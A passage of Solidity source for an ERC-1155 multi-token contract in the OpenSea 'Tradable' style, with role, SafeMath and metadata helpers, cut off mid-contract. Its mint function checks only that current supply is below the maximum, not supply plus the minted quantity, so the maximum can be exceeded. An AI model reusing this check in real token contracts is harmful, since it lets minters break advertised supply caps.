* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title WhitelistAdminRole
* @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts.
*/
contract WhitelistAdminRole is Context {
using Roles for Roles.Role;
event WhitelistAdminAdded(address indexed account);
event WhitelistAdminRemoved(address indexed account);
Roles.Role private _whitelistAdmins;
constructor () internal {
_addWhitelistAdmin(_msgSender());
}
modifier onlyWhitelistAdmin() {
require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role");
_;
}
function isWhitelistAdmin(address account) public view returns (bool) {
return _whitelistAdmins.has(account);
}
function addWhitelistAdmin(address account) public onlyWhitelistAdmin {
_addWhitelistAdmin(account);
}
function renounceWhitelistAdmin() public {
_removeWhitelistAdmin(_msgSender());
}
function _addWhitelistAdmin(address account) internal {
_whitelistAdmins.add(account);
emit WhitelistAdminAdded(account);
}
function _removeWhitelistAdmin(address account) internal {
_whitelistAdmins.remove(account);
emit WhitelistAdminRemoved(account);
}
}
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas
* @param _interfaceId The interface identifier, as specified in ERC-165
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
/**
* @dev ERC-1155 interface for accepting safe transfers.
*/
interface IERC1155TokenReceiver {
/**
* @notice Handle the receipt of a single ERC1155 token type
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value MUST result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4);
/**
* @notice Handle the receipt of multiple ERC1155 token types
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value WILL result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _amounts An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4);
/**
* @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types.
* @param interfaceID The ERC-165 interface ID that is queried for support.s
* @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface.
* This function MUST NOT consume more than 5,000 gas.
* @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported.
*/
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface IERC1155 {
// Events
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
/**
* @dev MUST emit when an approval is updated
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
* @dev MUST emit when the URI is updated for a token ID
* URIs are defined in RFC 3986
* The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema"
*/
event URI(string _amount, uint256 indexed _id);
/**
* @notice Transfers amount of an _id from the _from address to the _to address specified
* @dev MUST emit TransferSingle event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if balance of sender for token `_id` is lower than the `_amount` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external;
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev MUST emit TransferBatch event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if length of `_ids` is not the same as length of `_amounts`
* MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external;
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @dev MUST emit the ApprovalForAll event on success
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
/**
* Copyright 2018 ZeroEx Intl.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
/**
* @dev Implementation of Multi-Token Standard contract
*/
contract ERC1155 is IERC165 {
using SafeMath for uint256;
using Address for address;
/***********************************|
| Variables and Events |
|__________________________________*/
// onReceive function signatures
bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61;
bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81;
// Objects balances
mapping (address => mapping(uint256 => uint256)) internal balances;
// Operator Functions
mapping (address => mapping(address => bool)) internal operators;
// Events
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _uri, uint256 indexed _id);
/***********************************|
| Public Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
public
{
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR");
require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT");
// require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations
_safeTransferFrom(_from, _to, _id, _amount);
_callonERC1155Received(_from, _to, _id, _amount, _data);
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
public
{
// Requirements
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR");
require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT");
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data);
}
/***********************************|
| Internal Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
*/
function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount)
internal
{
// Update balances
balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount
balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount
// Emit event
emit TransferSingle(msg.sender, _from, _to, _id, _amount);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)
*/
function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Check if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data);
require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE");
}
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
*/
function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH");
// Number of transfer to execute
uint256 nTransfer = _ids.length;
// Executing all transfers
for (uint256 i = 0; i < nTransfer; i++) {
// Update storage balance of previous bin
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit event
emit TransferBatch(msg.sender, _from, _to, _ids, _amounts);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...)
*/
function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
// Pass data if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived(msg.sender, _from, _ids, _amounts, _data);
require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE");
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved)
external
{
// Update operator status
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
public view returns (bool isOperator)
{
return operators[_owner][_operator];
}
/***********************************|
| Balance Functions |
|__________________________________*/
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
public view returns (uint256)
{
return balances[_owner][_id];
}
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)
public view returns (uint256[] memory)
{
require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH");
// Variables
uint256[] memory batchBalances = new uint256[](_owners.length);
// Iterate over each owner and token ID
for (uint256 i = 0; i < _owners.length; i++) {
batchBalances[i] = balances[_owners[i]][_ids[i]];
}
return batchBalances;
}
/***********************************|
| ERC165 Functions |
|__________________________________*/
/**
* INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)"));
*/
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
/**
* INTERFACE_SIGNATURE_ERC1155 =
* bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^
* bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^
* bytes4(keccak256("balanceOf(address,uint256)")) ^
* bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^
* bytes4(keccak256("setApprovalForAll(address,bool)")) ^
* bytes4(keccak256("isApprovedForAll(address,address)"));
*/
bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
if (_interfaceID == INTERFACE_SIGNATURE_ERC165 ||
_interfaceID == INTERFACE_SIGNATURE_ERC1155) {
return true;
}
return false;
}
}
/**
* @notice Contract that handles metadata related methods.
* @dev Methods assume a deterministic generation of URI based on token IDs.
* Methods also assume that URI uses hex representation of token IDs.
*/
contract ERC1155Metadata {
// URI's default URI prefix
string internal baseMetadataURI;
event URI(string _uri, uint256 indexed _id);
/***********************************|
| Metadata Public Function s |
|__________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* Token IDs are assumed to be represented in their hex format in URIs
* @return URI string
*/
function uri(uint256 _id) public view returns (string memory) {
return string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json"));
}
/***********************************|
| Metadata Internal Functions |
|__________________________________*/
/**
* @notice Will emit default URI log event for corresponding token _id
* @param _tokenIDs Array of IDs of tokens to log default URI
*/
function _logURIs(uint256[] memory _tokenIDs) internal {
string memory baseURL = baseMetadataURI;
string memory tokenURI;
for (uint256 i = 0; i < _tokenIDs.length; i++) {
tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json"));
emit URI(tokenURI, _tokenIDs[i]);
}
}
/**
* @notice Will emit a specific URI log event for corresponding token
* @param _tokenIDs IDs of the token corresponding to the _uris logged
* @param _URIs The URIs of the specified _tokenIDs
*/
function _logURIs(uint256[] memory _tokenIDs, string[] memory _URIs) internal {
require(_tokenIDs.length == _URIs.length, "ERC1155Metadata#_logURIs: INVALID_ARRAYS_LENGTH");
for (uint256 i = 0; i < _tokenIDs.length; i++) {
emit URI(_URIs[i], _tokenIDs[i]);
}
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
baseMetadataURI = _newBaseMetadataURI;
}
/***********************************|
| Utility Internal Functions |
|__________________________________*/
/**
* @notice Convert uint256 to string
* @param _i Unsigned integer to convert to string
*/
function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 ii = _i;
uint256 len;
// Get number of bytes
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
// Get each individual ASCII
while (ii != 0) {
bstr[k--] = byte(uint8(48 + ii % 10));
ii /= 10;
}
// Convert to string
return string(bstr);
}
}
/**
* @dev Multi-Fungible Tokens with minting and burning methods. These methods assume
* a parent contract to be executed as they are `internal` functions
*/
contract ERC1155MintBurn is ERC1155 {
/****************************************|
| Minting Functions |
|_______________________________________*/
/**
* @notice Mint _amount of tokens of a given id
* @param _to The address to mint tokens to
* @param _id Token id to mint
* @param _amount The amount to be minted
* @param _data Data to pass if receiver is contract
*/
function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Add _amount
balances[_to][_id] = balances[_to][_id].add(_amount);
// Emit event
emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);
// Calling onReceive method if recipient is contract
_callonERC1155Received(address(0x0), _to, _id, _amount, _data);
}
/**
* @notice Mint tokens for each ids in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _amounts Array of amount of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nMint = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nMint; i++) {
// Update storage balance
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts);
// Calling onReceive method if recipient is contract
_callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, _data);
}
/****************************************|
| Burning Functions |
|_______________________________________*/
/**
* @notice Burn _amount of tokens of a given token id
* @param _from The address to burn tokens from
* @param _id Token id to burn
* @param _amount The amount to be burned
*/
function _burn(address _from, uint256 _id, uint256 _amount)
internal
{
//Substract _amount
balances[_from][_id] = balances[_from][_id].sub(_amount);
// Emit event
emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount);
}
/**
* @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair
* @param _from The address to burn tokens from
* @param _ids Array of token ids to burn
* @param _amounts Array of the amount to be burned
*/
function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nBurn = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nBurn; i++) {
// Update storage balance
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);
}
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d,
string memory _e
) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(
string memory _a,
string memory _b,
string memory _c
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is ERC1155, ERC1155MintBurn, ERC1155Metadata, Ownable, MinterRole, WhitelistAdminRole {
using Strings for string;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public {
name = _name;
symbol = _symbol;
proxyRegistryAddress = _proxyRegistryAddress;
}
function removeWhitelistAdmin(address account) public onlyOwner {
_removeWhitelistAdmin(account);
}
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
function uri(uint256 _id) public view returns (string memory) {
require(_exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN");
return Strings.strConcat(baseMetadataURI, Strings.uint2str(_id));
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
return tokenSupply[_id];
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
return tokenMaxSupply[_id];
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyWhitelistAdmin {
_setBaseMetadataURI(_newBaseMetadataURI);
}
/**
* @dev Creates a new token type and assigns _initialSupply to an address
* @param _maxSupply max supply allowed
* @param _initialSupply Optional amount to supply the first owner
* @param _uri Optional URI for this token type
* @param _data Optional data to pass if receiver is contract
* @return The newly created token ID
*/
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external onlyWhitelistAdmin returns (uint256 tokenId) {
require(_initialSupply <= _maxSupply, "Initial supply cannot be more than max supply");
uint256 _id = _getNextTokenID();
_incrementTokenTypeId();
creators[_id] = msg.sender;
if (bytes(_uri).length > 0) {
emit URI(_uri, _id);
}
if (_initialSupply != 0) _mint(msg.sender, _id, _initialSupply, _data);
tokenSupply[_id] = _initialSupply;
tokenMaxSupply[_id] = _maxSupply;
return _id;
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
uint256 tokenId = _id;
require(tokenSupply[tokenId] < tokenMaxSupply[tokenId], "Max supply reached");
_mint(_to, _id, _quantity, _data);
tokenSupply[_id] = tokenSupply[_id].add(_quantity);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
return creators[_id] != address(0);
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
return _currentTokenID.add(1);
}
/**
* @dev increments the value of _currentTokenID
*/
